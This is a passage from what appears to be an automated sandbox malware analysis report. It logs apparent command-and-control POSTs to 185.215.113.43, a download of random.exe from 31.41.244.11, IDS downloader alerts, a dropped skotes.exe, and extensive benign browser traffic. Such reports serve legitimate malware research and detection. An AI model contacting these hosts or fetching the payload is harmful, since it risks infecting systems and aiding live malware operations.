name="message"wkkjqaiaxkhb------DGHIDAFCGIEHIEBFCFBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49748 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49839 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49930 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_00DEBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

28_2_00DEBE30

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cF6eTsZ8X9Aeegc&MD=sWdb6FL8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733385351&P2=404&P3=2&P4=hsNgyPMD%2f95BFMah5vMOcbRlCeo7vhZAOmWNA73s9L2djlpP8Xx1JCt8UX2VHIQdPzZDxw%2fbknsAe6RGn%2fFN5g%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: ffEzMwnGp0BhI6LHFpucqLSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732780552190&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=31AC35F41F35674A28F120B11E576675&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732780552189&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0a5496371c054449aaffcd2982636e51&activityId=0a5496371c054449aaffcd2982636e51&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=31AC35F41F35674A28F120B11E576675&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=90d4ced1f7234c9da57ea38fff7efd13 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732780552190&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=31AC35F41F35674A28F120B11E576675&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=13592907fda912e82b418fb1732780555; XID=13592907fda912e82b418fb1732780555
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=31AC35F41F35674A28F120B11E576675&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bf1d669ef24e4f73eb0ae15d1d3e4975 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732780552189&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0a5496371c054449aaffcd2982636e51&activityId=0a5496371c054449aaffcd2982636e51&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=21C0AAED8B504C3984197EE0ABFA204B&MUID=31AC35F41F35674A28F120B11E576675 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: 